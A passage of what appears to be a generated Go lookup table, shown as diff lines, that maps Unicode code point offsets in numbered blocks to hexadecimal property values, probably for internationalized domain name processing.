0x0080, 0x4105: 0x0080, + 0x4106: 0x0080, + 0x4110: 0x00c0, 0x4111: 0x00c0, + 0x4112: 0x00c0, 0x4113: 0x00c0, 0x4114: 0x00c0, 0x4115: 0x00c0, 0x4116: 0x00c0, 0x4117: 0x00c0, + 0x4118: 0x00c0, 0x4119: 0x00c0, + // Block 0x105, offset 0x4140 + 0x4160: 0x00c0, 0x4161: 0x00c0, 0x4162: 0x00c0, 0x4163: 0x00c0, + 0x4164: 0x00c0, 0x4165: 0x00c0, 0x4166: 0x00c0, 0x4167: 0x00c0, + 0x416a: 0x00c0, 0x416b: 0x00c0, 0x416c: 0x00c0, 0x416d: 0x00c0, 0x416e: 0x00c0, 0x416f: 0x00c0, + 0x4170: 0x00c0, 0x4171: 0x00c0, 0x4172: 0x00c0, 0x4173: 0x00c0, 0x4174: 0x00c0, 0x4175: 0x00c0, + 0x4176: 0x00c0, 0x4177: 0x00c0, 0x4178: 0x00c0, 0x4179: 0x00c0, 0x417a: 0x00c0, 0x417b: 0x00c0, + 0x417c: 0x00c0, 0x417d: 0x00c0, 0x417e: 0x00c0, 0x417f: 0x00c0, + // Block 0x106, offset 0x4180 + 0x4180: 0x00c0, 0x4181: 0x00c0, 0x4182: 0x00c0, 0x4183: 0x00c0, 0x4184: 0x00c0, 0x4185: 0x00c0, + 0x4186: 0x00c0, 0x4187: 0x00c0, 0x4188: 0x00c0, 0x4189: 0x00c0, 0x418a: 0x00c0, 0x418b: 0x00c0, + 0x418c: 0x00c0, 0x418d: 0x00c0, 0x418e: 0x00c0, 0x418f: 0x00c0, 0x4190: 0x00c0, 0x4191: 0x00c0, + 0x4192: 0x00c0, 0x4193: 0x00c0, 0x4194: 0x00c3, 0x4195: 0x00c3, 0x4196: 0x00c3, 0x4197: 0x00c3, + 0x419a: 0x00c3, 0x419b: 0x00c3, 0x419c: 0x00c0, 0x419d: 0x00c0, + 0x419e: 0x00c0, 0x419f: 0x00c0, 0x41a0: 0x00c6, 0x41a1: 0x00c0, 0x41a2: 0x0080, 0x41a3: 0x00c0, + 0x41a4: 0x00c0, + // Block 0x107, offset 0x41c0 + 0x41c0: 0x00c0, 0x41c1: 0x00c3, 0x41c2: 0x00c3, 0x41c3: 0x00c3, 0x41c4: 0x00c3, 0x41c5: 0x00c3, + 0x41c6: 0x00c3, 0x41c7: 0x00c3, 0x41c8: 0x00c3, 0x41c9: 0x00c3, 0x41ca: 0x00c3, 0x41cb: 0x00c0, + 0x41cc: 0x00c0, 0x41cd: 0x00c0, 0x41ce: 0x00c0, 0x41cf: 0x00c0, 0x41d0: 0x00c0, 0x41d1: 0x00c0, + 0x41d2: 0x00c0, 0x41d3: 0x00c0, 0x41d4: 0x00c0, 0x41d5: 0x00c0, 0x41d6: 0x00c0, 0x41d7: 0x00c0, + 0x41d8: 0x00c0, 0x41d9: 0x00c0, 0x41da: 0x00c0, 0x41db: 0x00c0, 0x41dc: 0x00c0, 0x41dd: 0x00c0, + 0x41de: 0x00c0, 0x41df: 0x00c0, 0x41e0: 0x00c0, 0x41e1: 0x00c0, 0x41e2: 0x00c0, 0x41e3: 0x00c0, + 0x41e4: 0x00c0, 0x41e5: 0x00c0, 0x41e6: 0x00c0, 0x41e7: 0x00c0, 0x41e8: 0x00c0, 0x41e9: 0x00c0, + 0x41ea: 0x00c0, 0x41eb: 0x00c0, 0x41ec: 0x00c0, 0x41ed: 0x00c0, 0x41ee: 0x00c0, 0x41ef: 0x00c0, + 0x41f0: 0x00c0, 0x41f1: 0x00c0, 0x41f2: 0x00c0, 0x41f3: 0x00c3, 0x41f4: 0x00c6, 0x41f5: 0x00c3, + 0x41f6: 0x00c3, 0x41f7: 0x00c3, 0x41f8: 0x00c3, 0x41f9: 0x00c0, 0x41fa: 0x00c0, 0x41fb: 0x00c3, + 0x41fc: 0x00c3, 0x41fd: 0x00c3, 0x41fe: 0x00c3, 0x41ff: 0x0080, + // Block 0x108, offset 0x4200 + 0x4200: 0x0080, 0x4201: 0x0080, 0x4202: 0x0080, 0x4203: 0x0080, 0x4204: 0x0080, 0x4205: 0x0080, + 0x4206: 0x0080, 0x4207: 0x00c6, + 0x4210: 0x00c0, 0x4211: 0x00c3, + 0x4212: 0x00c3, 0x4213: 0x00c3, 0x4214: 0x00c3, 0x4215: 0x00c3, 0x4216: 0x00c3, 0x4217: 0x00c0, + 0x4218: 0x00c0, 0x4219: 0x00c3, 0x421a: 0x00c3, 0x421b: 0x00c3, 0x421c: 0x00c0, 0x421d: 0x00c0, + 0x421e: 0x00c0, 0x421f: 0x00c0, 0x4220: 0x00c0, 0x4221: 0x00c0, 0x4222: 0x00c0, 0x4223: 0x00c0, + 0x4224: 0x00c0, 0x4225: 0x00c0, 0x4226: 0x00c0, 0x4227: 0x00c0, 0x4228: 0x00c0, 0x4229: 0x00c0, + 0x422a: 0x00c0, 0x422b: 0x00c0, 0x422c: 0x00c0, 0x422d: 0x00c0, 0x422e: 0x00c0, 0x422f: 0x00c0, + 0x4230: 0x00c0, 0x4231: 0x00c0, 0x4232: 0x00c0, 0x4233: 0x00c0, 0x4234: 0x00c0, 0x4235: 0x00c0, + 0x4236: 0x00c0, 0x4237: 0x00c0, 0x4238: 0x00c0, 0x4239: 0x00c0, 0x423a: 0x00c0, 0x423b: 0x00c0, + 0x423c: 0x00c0, 0x423d: 0x00c0, 0x423e: 0x00c0, 0x423f: 0x00c0, + // Block 0x109, offset 0x4240 + 0x4240: 0x00c0, 0x4241: 0x00c0, 0x4242: 0x00c0, 0x4243: 0x00c0, 0x4244: 0x00c0, 0x4245: 0x00c0, + 0x4246: 0x00c0, 0x4247: 0x00c0, 0x4248: 0x00c0, 0x4249: 0x00c0, 0x424a: 0x00c3, 0x424b: 0x00c3, + 0x424c: 0x00c3, 0x424d: 0x00c3, 0x424e: 0x00c3, 0x424f: 0x00c3, 0x4250: 0x00c3, 0x4251: 0x00c3, + 0x4252: 0x00c3, 0x4253: 0x00c3, 0x4254: 0x00c3, 0x4255: 0x00c3, 0x4256: 0x00c3, 0x4257: 0x00c0, + 0x4258: 0x00c3, 0x4259: 0x00c6, 0x425a: 0x0080, 0x425b: 0x0080, 0x425c: 0x0080, 0x425d: 0x00c0, + 0x425e: 0x0080, 0x425f: 0x0080, 0x4260: 0x0080, 0x4261: 0x0080, 0x4262: 0x0080, + 0x4270: 0x00c0, 0x4271: 0x00c0, 0x4272: 0x00c0, 0x4273: 0x00c0, 0x4274: 0x00c0, 0x4275: 0x00c0, + 0x4276: 0x00c0, 0x4277: 0x00c0, 0x4278: 0x00c0, 0x4279: 0x00c0, 0x427a: 0x00c0, 0x427b: 0x00c0, + 0x427c: 0x00c0, 0x427d: 0x00c0, 0x427e: 0x00c0, 0x427f: 0x00c0, + // Block 0x10a, offset 0x4280 + 0x4280: 0x00c0, 0x4281: 0x00c0, 0x4282: 0x00c0, 0x4283: 0x00c0, 0x4284: 0x00c0, 0x4285: 0x00c0, + 0x4286: 0x00c0, 0x4287: 0x00c0, 0x4288: 0x00c0, 0x4289: 0x00c0, 0x428a: 0x00c0, 0x428b: 0x00c0, + 0x428c: 0x00c0, 0x428d: 0x00c0, 0x428e: 0x00c0, 0x428f: 0x00c0, 0x4290: 0x00c0, 0x4291: 0x00c0, + 0x4292: 0x00c0, 0x4293: 0x00c0, 0x4294: 0x00c0, 0x4295: 0x00c0, 0x4296: 0x00c0, 0x4297: 0x00c0, + 0x4298: 0x00c0, 0x4299: 0x00c0, 0x429a: 0x00c0, 0x429b: 0x00c0, 0x429c: 0x00c0, 0x429d: 0x00c0, + 0x429e: 0x00c0, 0x429f: 0x00c0, 0x42a0: 0x00c0, 0x42a1: 0x00c0, 0x42a2: 0x00c0, 0x42a3: 0x00c0, + 0x42a4: 0x00c0, 0x42a5: 0x00c0, 0x42a6: 0x00c0, 0x42a7: 0x00c0, 0x42a8: 0x00c0, 0x42a9: 0x00c0, + 0x42aa: 0x00c0, 0x42ab: 0x00c0, 0x42ac: 0x00c0, 0x42ad: 0x00c0, 0x42ae: 0x00c0, 0x42af: 0x00c0, + 0x42b0: 0x00c0, 0x42b1: 0x00c0, 0x42b2: 0x00c0, 0x42b3: 0x00c0, 0x42b4: 0x00c0, 0x42b5: 0x00c0, + 0x42b6: 0x00c0, 0x42b7: 0x00c0, 0x42b8: 0x00c0, + // Block 0x10b, offset 0x42c0 + 0x42c0: 0x0080, 0x42c1: 0x0080, 0x42c2: 0x0080, 0x42c3: 0x0080, 0x42c4: 0x0080, 0x42c5: 0x0080, + 0x42c6: 0x0080, 0x42c7: 0x0080, 0x42c8: 0x0080, 0x42c9: 0x0080, + // Block 0x10c, offset 0x4300 + 0x4300: 0x00c0, 0x4301: 0x00c0, 0x4302: 0x00c0, 0x4303: 0x00c0, 0x4304: 0x00c0, 0x4305: 0x00c0, + 0x4306: 0x00c0, 0x4307: 0x00c0, 0x4308: 0x00c0, 0x430a: 0x00c0, 0x430b: 0x00c0, + 0x430c: 0x00c0, 0x430d: 0x00c0, 0x430e: 0x00c0, 0x430f: 0x00c0, 0x4310: 0x00c0, 0x4311: 0x00c0, + 0x4312: 0x00c0, 0x4313: 0x00c0, 0x4314: 0x00c0, 0x4315: 0x00c0, 0x4316: 0x00c0, 0x4317: 0x00c0, + 0x4318: 0x00c0, 0x4319: 0x00c0, 0x431a: 0x00c0, 0x431b: 0x00c0, 0x431c: 0x00c0, 0x431d: 0x00c0, + 0x431e: 0x00c0, 0x431f: 0x00c0, 0x4320: 0x00c0, 0x4321: 0x00c0, 0x4322: 0x00c0, 0x4323: 0x00c0, + 0x4324: 0x00c0, 0x4325: 0x00c0, 0x4326: 0x00c0, 0x4327: 0x00c0, 0x4328: 0x00c0, 0x4329: 0x00c0, + 0x432a: 0x00c0, 0x432b: 0x00c0, 0x432c: 0x00c0, 0x432d: 0x00c0, 0x432e: 0x00c0, 0x432f: 0x00c0, + 0x4330: 0x00c3, 0x4331: 0x00c3, 0x4332: 0x00c3, 0x4333: 0x00c3, 0x4334: 0x00c3, 0x4335: 0x00c3, + 0x4336: 0x00c3, 0x4338: 0x00c3, 0x4339: 0x00c3, 0x433a: 0x00c3, 0x433b: 0x00c3, + 0x433c: 0x00c3, 0x433d: 0x00c3, 0x433e: 0x00c0, 0x433f: 0x00c6, + // Block 0x10d, offset 0x4340 + 0x4340: 0x00c0, 0x4341: 0x0080, 0x4342: 0x0080, 0x4343: 0x0080, 0x4344: 0x0080, 0x4345: 0x0080, + 0x4350: 0x00c0, 0x4351: 0x00c0, + 0x4352: 0x00c0, 0x4353: 0x00c0, 0x4354: 0x00c0, 0x4355: 0x00c0, 0x4356: 0x00c0, 0x4357: 0x00c0, + 0x4358: 0x00c0, 0x4359: 0x00c0, 0x435a: 0x0080, 0x435b: 0x0080, 0x435c: 0x0080, 0x435d: 0x0080, + 0x435e: 0x0080, 0x435f: 0x0080, 0x4360: 0x0080, 0x4361: 0x0080, 0x4362: 0x0080, 0x4363: 0x0080, + 0x4364: 0x0080, 0x4365: 0x0080, 0x4366: 0x0080, 0x4367: 0x0080, 0x4368: 0x0080, 0x4369: 0x0080, + 0x436a: 0x0080, 0x436b: 0x0080, 0x436c: 0x0080, + 0x4370: 0x0080, 0x4371: 0x0080, 0x4372: 0x00c0, 0x4373: 0x00c0, 0x4374: 0x00c0, 0x4375: 0x00c0, + 0x4376: 0x00c0, 0x4377: 0x00c0, 0x4378: 0x00c0, 0x4379: 0x00c0, 0x437a: 0x00c0, 0x437b: 0x00c0, + 0x437c: 0x00c0, 0x437d: 0x00c0, 0x437e: 0x00c0, 0x437f: 0x00c0, + // Block 0x10e, offset 0x4380 + 0x4380: 0x00c0, 0x4381: 0x00c0, 0x4382: 0x00c0, 0x4383: 0x00c0, 0x4384: 0x00c0, 0x4385: 0x00c0, + 0x4386: 0x00c0, 0x4387: 0x00c0, 0x4388: 0x00c0, 0x4389: 0x00c0, 0x438a: 0x00c0, 0x438b: 0x00c0, + 0x438c: 0x00c0, 0x438d: 0x00c0, 0x438e: 0x00c0, 0x438f: 0x00c0, + 0x4392: 0x00c3, 0x4393: 0x00c3, 0x4394: 0x00c3, 0x4395: 0x00c3, 0x4396: 0x00c3, 0x4397: 0x00c3, + 0x4398: 0x00c3, 0x4399: 0x00c3, 0x439a: 0x00c3, 0x439b: 0x00c3, 0x439c: 0x00c3, 0x439d: 0x00c3, + 0x439e: 0x00c3, 0x439f: 0x00c3, 0x43a0: 0x00c3, 0x43a1: 0x00c3, 0x43a2: 0x00c3, 0x43a3: 0x00c3, + 0x43a4: 0x00c3, 0x43a5: 0x00c3, 0x43a6: 0x00c3, 0x43a7: 0x00c3, 0x43a9: 0x00c0, + 0x43aa: 0x00c3, 0x43ab: 0x00c3, 0x43ac: 0x00c3, 0x43ad: 0x00c3, 0x43ae: 0x00c3, 0x43af: 0x00c3, + 0x43b0: 0x00c3, 0x43b1: 0x00c0, 0x43b2: 0x00c3, 0x43b3: 0x00c3, 0x43b4: 0x00c0, 0x43b5: 0x00c3, + 0x43b6: 0x00c3, + // Block 0x10f, offset 0x43c0 + 0x43c0: 0x00c0, 0x43c1: 0x00c0, 0x43c2: 0x00c0, 0x43c3: 0x00c0, 0x43c4: 0x00c0, 0x43c5: 0x00c0, + 0x43c6: 0x00c0, 0x43c8: 0x00c0, 0x43c9: 0x00c0, 0x43cb: 0x00c0, + 0x43cc: 0x00c0, 0x43cd: 0x00c0, 0x43ce: 0x00c0, 0x43cf: 0x00c0, 0x43d0: 0x00c0, 0x43d1: 0x00c0, + 0x43d2: 0x00c0, 0x43d3: 0x00c0, 0x43d4: 0x00c0, 0x43d5: 0x00c0, 0x43d6: 0x00c0, 0x43d7: 0x00c0, + 0x43d8: 0x00c0, 0x43d9: 0x00c0, 0x43da: 0x00c0, 0x43db: 0x00c0, 0x43dc: 0x00c0, 0x43dd: 0x00c0, + 0x43de: 0x00c0, 0x43df: 0x00c0, 0x43e0: 0x00c0, 0x43e1: 0x00c0, 0x43e2: 0x00c0, 0x43e3: 0x00c0, + 0x43e4: 0x00c0, 0x43e5: 0x00c0, 0x43e6: 0x00c0, 0x43e7: 0x00c0, 0x43e8: 0x00c0, 0x43e9: 0x00c0, + 0x43ea: 0x00c0, 0x43eb: 0x00c0, 0x43ec: 0x00c0, 0x43ed: 0x00c0, 0x43ee: 0x00c0, 0x43ef: 0x00c0, + 0x43f0: 0x00c0, 0x43f1: 0x00c3, 0x43f2: 0x00c3, 0x43f3: 0x00c3, 0x43f4: 0x00c3, 0x43f5: 0x00c3, + 0x43f6: 0x00c3, 0x43fa: 0x00c3, + 0x43fc: 0x00c3, 0x43fd: 0x00c3, 0x43ff: 0x00c3, + // Block 0x110, offset 0x4400 + 0x4400: 0x00c3, 0x4401: 0x00c3, 0x4402: 0x00c3, 0x4403: 0x00c3, 0x4404: 0x00c6, 0x4405: 0x00c6, + 0x4406: 0x00c0, 0x4407: 0x00c3, + 0x4410: 0x00c0, 0x4411: 0x00c0, + 0x4412: 0x00c0, 0x4413: 0x00c0, 0x4414: 0x00c0, 0x4415: 0x00c0, 0x4416: 0x00c0, 0x4417: 0x00c0, + 0x4418: 0x00c0, 0x4419: 0x00c0, + 0x4420: 0x00c0, 0x4421: 0x00c0, 0x4422: 0x00c0, 0x4423: 0x00c0, + 0x4424: 0x00c0, 0x4425: 0x00c0, 0x4427: 0x00c0, 0x4428: 0x00c0, + 0x442a: 0x00c0, 0x442b: 0x00c0, 0x442c: 0x00c0, 0x442d: 0x00c0, 0x442e: 0x00c0, 0x442f: 0x00c0, + 0x4430: 0x00c0, 0x4431: 0x00c0, 0x4432: 0x00c0, 0x4433: 0x00c0, 0x4434: 0x00c0, 0x4435: 0x00c0, + 0x4436: 0x00c0, 0x4437: 0x00c0, 0x4438: 0x00c0, 0x4439: 0x00c0, 0x443a: 0x00c0, 0x443b: 0x00c0, + 0x443c: 0x00c0, 0x443d: 0x00c0, 0x443e: 0x00c0, 0x443f: 0x00c0, + // Block 0x111, offset 0x4440 + 0x4440: 0x00c0, 0x4441: 0x00c0, 0x4442: 0x00c0, 0x4443: 0x00c0, 0x4444: 0x00c0, 0x4445: 0x00c0, + 0x4446: 0x00c0, 0x4447: 0x00c0, 0x4448: 0x00c0, 0x4449: 0x00c0, 0x444a: 0x00c0, 0x444b: 0x00c0, + 0x444c: 0x00c0, 0x444d: 0x00c0, 0x444e: 0x00c0, 0x4450: 0x00c3, 0x4451: 0x00c3, + 0x4453: 0x00c0, 0x4454: 0x00c0, 0x4455: 0x00c3, 0x4456: 0x00c0, 0x4457: 0x00c6, + 0x4458: 0x00c0, + 0x4460: 0x00c0, 0x4461: 0x00c0, 0x4462: 0x00c0, 0x4463: 0x00c0, + 0x4464: 0x00c0, 0x4465: 0x00c0, 0x4466: 0x00c0, 0x4467: 0x00c0, 0x4468: 0x00c0, 0x4469: 0x00c0, + // Block 0x112, offset 0x4480 + 0x44a0: 0x00c0, 0x44a1: 0x00c0, 0x44a2: 0x00c0, 0x44a3: 0x00c0, + 0x44a4: 0x00c0, 0x44a5: 0x00c0, 0x44a6: 0x00c0, 0x44a7: 0x00c0, 0x44a8: 0x00c0, 0x44a9: 0x00c0, + 0x44aa: 0x00c0, 0x44ab: 0x00c0, 0x44ac: 0x00c0, 0x44ad: 0x00c0, 0x44ae: 0x00c0, 0x44af: 0x00c0, + 0x44b0: 0x00c0, 0x44b1: 0x00c0, 0x44b2: 0x00c0, 0x44b3: 0x00c3, 0x44b4: 0x00c3, 0x44b5: 0x00c0, + 0x44b6: 0x00c0, 0x44b7: 0x0080, 0x44b8: 0x0080, + // Block 0x113, offset 0x44c0 + 0x44c0: 0x00c3, 0x44c1: 0x00c3, 0x44c2: 0x00c0, 0x44c3: 0x00c0, 0x44c4: 0x00c0, 0x44c5: 0x00c0, + 0x44c6: 0x00c0, 0x44c7: 0x00c0, 0x44c8: 0x00c0, 0x44c9: 0x00c0, 0x44ca: 0x00c0, 0x44cb: 0x00c0, + 0x44cc: 0x00c0, 0x44cd: 0x00c0, 0x44ce: 0x00c0, 0x44cf: 0x00c0, 0x44d0: 0x00c0, + 0x44d2: 0x00c0, 0x44d3: 0x00c0, 0x44d4: 0x00c0, 0x44d5: 0x00c0, 0x44d6: 0x00c0, 0x44d7: 0x00c0, + 0x44d8: 0x00c0, 0x44d9: 0x00c0, 0x44da: 0x00c0, 0x44db: 0x00c0, 0x44dc: 0x00c0, 0x44dd: 0x00c0, + 0x44de: 0x00c0, 0x44df: 0x00c0, 0x44e0: 0x00c0, 0x44e1: 0x00c0, 0x44e2: 0x00c0, 0x44e3: 0x00c0, + 0x44e4: 0x00c0, 0x44e5: 0x00c0, 0x44e6: 0x00c0, 0x44e7: 0x00c0, 0x44e8: 0x00c0, 0x44e9: 0x00c0, + 0x44ea: 0x00c0, 0x44eb: 0x00c0, 0x44ec: 0x00c0, 0x44ed: 0x00c0, 0x44ee: 0x00c0, 0x44ef: 0x00c0, + 0x44f0: 0x00c0, 0x44f1: 0x00c0, 0x44f2: 0x00c0, 0x44f3: 0x00c0, 0x44f4: 0x00c0, 0x44f5: 0x00c0, + 0x44f6: 0x00c3, 0x44f7: 0x00c3, 0x44f8: 0x00c3, 0x44f9: 0x00c3, 0x44fa: 0x00c3, + 0x44fe: 0x00c0, 0x44ff: 0x00c0, + // Block 0x114, offset 0x4500 + 0x4500: 0x00c3, 0x4501: 0x00c5, 0x4502: 0x00c6, 0x4503: 0x0080, 0x4504: 0x0080, 0x4505: 0x0080, + 0x4506: 0x0080, 0x4507: 0x0080, 0x4508: 0x0080, 0x4509: 0x0080, 0x450a: 0x0080, 0x450b: 0x0080, + 0x450c: 0x0080, 0x450d: 0x0080, 0x450e: 0x0080, 0x450f: 0x0080, 0x4510: 0x00c0, 0x4511: 0x00c0, + 0x4512: 0x00c0, 0x4513: 0x00c0, 0x4514: 0x00c0, 0x4515: 0x00c0, 0x4516: 0x00c0, 0x4517: 0x00c0, + 0x4518: 0x00c0, 0x4519: 0x00c0, + // Block 0x115, offset 0x4540 + 0x4570: 0x00c0, + // Block 0x116, offset 0x4580 + 0x4580: 0x0080, 0x4581: 0x0080, 0x4582: 0x0080, 0x4583: 0x0080, 0x4584: 0x0080, 0x4585: 0x0080, + 0x4586: 0x0080, 0x4587: 0x0080, 0x4588: 0x0080, 0x4589: 0x0080, 0x458a: 0x0080, 0x458b: 0x0080, + 0x458c: 0x0080, 0x458d: 0x0080, 0x458e: 0x0080, 0x458f: 0x0080, 0x4590: 0x0080, 0x4591: 0x0080, + 0x4592: 0x0080, 0x4593: 0x0080, 0x4594: 0x0080, 0x4595: 0x0080, 0x4596: 0x0080, 0x4597: 0x0080, + 0x4598: 0x0080, 0x4599: 0x0080, 0x459a: 0x0080, 0x459b: 0x0080, 0x459c: 0x0080, 0x459d: 0x0080, + 0x459e: 0x0080, 0x459f: 0x0080, 0x45a0: 0x0080, 0x45a1: 0x0080, 0x45a2: 0x0080, 0x45a3: 0x0080, + 0x45a4: 0x0080, 0x45a5: 0x0080, 0x45a6: 0x0080, 0x45a7: 0x0080, 0x45a8: 0x0080, 0x45a9: 0x0080, + 0x45aa: 0x0080, 0x45ab: 0x0080, 0x45ac: 0x0080, 0x45ad: 0x0080, 0x45ae: 0x0080, 0x45af: 0x0080, + 0x45b0: 0x0080, 0x45b1: 0x0080, + 0x45bf: 0x0080, + // Block 0x117, offset 0x45c0 + 0x45c0: 0x00c0, 0x45c1: 0x00c0, 0x45c2: 0x00c0, 0x45c3: 0x00c0, 0x45c4: 0x00c0, 0x45c5: 0x00c0, + 0x45c6: 0x00c0, 0x45c7: 0x00c0, 0x45c8: 0x00c0, 0x45c9: 0x00c0, 0x45ca: 0x00c0, 0x45cb: 0x00c0, + 0x45cc: 0x00c0, 0x45cd: 0x00c0, 0x45ce: 0x00c0, 0x45cf: 0x00c0, 0x45d0: 0x00c0, 0x45d1: 0x00c0, + 0x45d2: 0x00c0, 0x45d3: 0x00c0, 0x45d4: 0x00c0, 0x45d5: 0x00c0, 0x45d6: 0x00c0, 0x45d7: 0x00c0, + 0x45d8: 0x00c0, 0x45d9: 0x00c0, + // Block 0x118, offset 0x4600 + 0x4600: 0x0080, 0x4601: 0x0080, 0x4602: 0x0080, 0x4603: 0x0080, 0x4604: 0x0080, 0x4605: 0x0080, + 0x4606: 0x0080, 0x4607: 0x0080, 0x4608: 0x0080, 0x4609: 0x0080, 0x460a: 0x0080, 0x460b: 0x0080, + 0x460c: 0x0080, 0x460d: 0x0080, 0x460e: 0x0080, 0x460f: 0x0080, 0x4610: 0x0080, 0x4611: 0x0080, + 0x4612: 0x0080, 0x4613: 0x0080, 0x4614: 0x0080, 0x4615: 0x0080, 0x4616: 0x0080, 0x4617: 0x0080, + 0x4618: 0x0080, 0x4619: 0x0080, 0x461a: 0x0080, 0x461b: 0x0080, 0x461c: 0x0080, 0x461d: 0x0080, + 0x461e: 0x0080, 0x461f: 0x0080, 0x4620: 0x0080, 0x4621: 0x0080, 0x4622: 0x0080, 0x4623: 0x0080, + 0x4624: 0x0080, 0x4625: 0x0080, 0x4626: 0x0080, 0x4627: 0x0080, 0x4628: 0x0080, 0x4629: 0x0080, + 0x462a: 0x0080, 0x462b: 0x0080, 0x462c: 0x0080, 0x462d: 0x0080, 0x462e: 0x0080, + 0x4630: 0x0080, 0x4631: 0x0080, 0x4632: 0x0080, 0x4633: 0x0080, 0x4634: 0x0080, + // Block 0x119, offset 0x4640 + 0x4640: 0x00c0, 0x4641: 0x00c0, 0x4642: 0x00c0, 0x4643: 0x00c0, + // Block 0x11a, offset 0x4680 + 0x4690: 0x00c0, 0x4691: 0x00c0, + 0x4692: 0x00c0, 0x4693: 0x00c0, 0x4694: 0x00c0, 0x4695: 0x00c0, 0x4696: 0x00c0, 0x4697: 0x00c0, + 0x4698: 0x00c0, 0x4699: 0x00c0, 0x469a: 0x00c0, 0x469b: 0x00c0, 0x469c: 0x00c0, 0x469d: 0x00c0, + 0x469e: 0x00c0, 0x469f: 0x00c0, 0x46a0: 0x00c0, 0x46a1: 0x00c0, 0x46a2: 0x00c0, 0x46a3: 0x00c0, + 0x46a4: 0x00c0, 0x46a5: 0x00c0, 0x46a6: 0x00c0, 0x46a7: 0x00c0, 0x46a8: 0x00c0, 0x46a9: 0x00c0, + 0x46aa: 0x00c0, 0x46ab: 0x00c0, 0x46ac: 0x00c0, 0x46ad: 0x00c0, 0x46ae: 0x00c0, 0x46af: 0x00c0, + 0x46b0: 0x00c0, 0x46b1: 0x00c0, 0x46b2: 0x00c0, 0x46b3: 0x00c0, 0x46b4: 0x00c0, 0x46b5: 0x00c0, + 0x46b6: 0x00c0, 0x46b7: 0x00c0, 0x46b8: 0x00c0, 0x46b9: 0x00c0, 0x46ba: 0x00c0, 0x46bb: 0x00c0, + 0x46bc: 0x00c0, 0x46bd: 0x00c0, 0x46be: 0x00c0, 0x46bf: 0x00c0, + // Block 0x11b, offset 0x46c0 + 0x46c0: 0x00c0, 0x46c1: 0x00c0, 0x46c2: 0x00c0, 0x46c3: 0x00c0, 0x46c4: 0x00c0, 0x46c5: 0x00c0, + 0x46c6: 0x00c0, 0x46c7: 0x00c0, 0x46c8: 0x00c0, 0x46c9: 0x00c0, 0x46ca: 0x00c0, 0x46cb: 0x00c0, + 0x46cc: 0x00c0, 0x46cd: 0x00c0, 0x46ce: 0x00c0, 0x46cf: 0x00c0, 0x46d0: 0x00c0, 0x46d1: 0x00c0, + 0x46d2: 0x00c0, 0x46d3: 0x00c0, 0x46d4: 0x00c0, 0x46d5: 0x00c0, 0x46d6: 0x00c0, 0x46d7: 0x00c0, + 0x46d8: 0x00c0, 0x46d9: 0x00c0, 0x46da: 0x00c0, 0x46db: 0x00c0, 0x46dc: 0x00c0, 0x46dd: 0x00c0, + 0x46de: 0x00c0, 0x46df: 0x00c0, 0x46e0: 0x00c0, 0x46e1: 0x00c0, 0x46e2: 0x00c0, 0x46e3: 0x00c0, + 0x46e4: 0x00c0, 0x46e5: 0x00c0, 0x46e6: 0x00c0, 0x46e7: 0x00c0, 0x46e8: 0x00c0, 0x46e9: 0x00c0, + 0x46ea: 0x00c0, 0x46eb: 0x00c0, 0x46ec: 0x00c0, 0x46ed: 0x00c0, 0x46ee: 0x00c0, 0x46ef: 0x00c0, + 0x46f0: 0x00c0, 0x46f1: 0x0080, 0x46f2: 0x0080, + // Block 0x11c, offset 0x4700 + 0x4700: 0x00c0, 0x4701: 0x00c0, 0x4702: 0x00c0, 0x4703: 0x00c0, 0x4704: 0x00c0, 0x4705: 0x00c0, + 0x4706: 0x00c0, 0x4707: 0x00c0, 0x4708: 0x00c0, 0x4709: 0x00c0, 0x470a: 0x00c0, 0x470b: 0x00c0, + 0x470c: 0x00c0, 0x470d: 0x00c0, 0x470e: 0x00c0, 0x470f: 0x00c0, 0x4710: 0x00c0, 0x4711: 0x00c0, + 0x4712: 0x00c0, 0x4713: 0x00c0, 0x4714: 0x00c0, 0x4715: 0x00c0, 0x4716: 0x00c0, 0x4717: 0x00c0, + 0x4718: 0x00c0, 0x4719: 0x00c0, 0x471a: 0x00c0, 0x471b: 0x00c0, 0x471c: 0x00c0, 0x471d: 0x00c0, + 0x471e: 0x00c0, 0x471f: 0x00c0, 0x4720: 0x00c0, 0x4721: 0x00c0, 0x4722: 0x00c0, 0x4723: 0x00c0, + 0x4724: 0x00c0, 0x4725: 0x00c0, 0x4726: 0x00c0, 0x4727: 0x00c0, 0x4728: 0x00c0, 0x4729: 0x00c0, + 0x472a: 0x00c0, 0x472b: 0x00c0, 0x472c: 0x00c0, 0x472d: 0x00c0, 0x472e: 0x00c0, 0x472f: 0x00c0, + 0x4730: 0x0040, 0x4731: 0x0040, 0x4732: 0x0040, 0x4733: 0x0040, 0x4734: 0x0040, 0x4735: 0x0040, + 0x4736: 0x0040, 0x4737: 0x0040, 0x4738: 0x0040, 0x4739: 0x0040, 0x473a: 0x0040, 0x473b: 0x0040, + 0x473c: 0x0040, 0x473d: 0x0040, 0x473e: 0x0040, 0x473f: 0x0040, + // Block 0x11d, offset 0x4740 + 0x4740: 0x00c3, 0x4741: 0x00c0, 0x4742: 0x00c0, 0x4743: 0x00c0, 0x4744: 0x00c0, 0x4745: 0x00c0, + 0x4746: 0x00c0, 0x4747: 0x00c3, 0x4748: 0x00c3, 0x4749: 0x00c3, 0x474a: 0x00c3, 0x474b: 0x00c3, + 0x474c: 0x00c3, 0x474d: 0x00c3, 0x474e: 0x00c3, 0x474f: 0x00c3, 0x4750: 0x00c3, 0x4751: 0x00c3, + 0x4752: 0x00c3, 0x4753: 0x00c3, 0x4754: 0x00c3, 0x4755: 0x00c3, + // Block 0x11e, offset 0x4780 + 0x4780: 0x00c0, 0x4781: 0x00c0, 0x4782: 0x00c0, 0x4783: 0x00c0, 0x4784: 0x00c0, 0x4785: 0x00c0, + 0x4786: 0x00c0, 0x4787: 0x00c0, 0x4788: 0x00c0, 0x4789: 0x00c0, 0x478a: 0x00c0, 0x478b: 0x00c0, + 0x478c: 0x00c0, 0x478d: 0x00c0, 0x478e: 0x00c0, 0x478f: 0x00c0, 0x4790: 0x00c0, 0x4791: 0x00c0, + 0x4792: 0x00c0, 0x4793: 0x00c0, 0x4794: 0x00c0, 0x4795: 0x00c0, 0x4796: 0x00c0, 0x4797: 0x00c0, + 0x4798: 0x00c0, 0x4799: 0x00c0, 0x479a: 0x00c0, 0x479b: 0x00c0, 0x479c: 0x00c0, 0x479d: 0x00c0, + 0x479e: 0x00c0, 0x47a0: 0x00c0, 0x47a1: 0x00c0, 0x47a2: 0x00c0, 0x47a3: 0x00c0, + 0x47a4: 0x00c0, 0x47a5: 0x00c0, 0x47a6: 0x00c0, 0x47a7: 0x00c0, 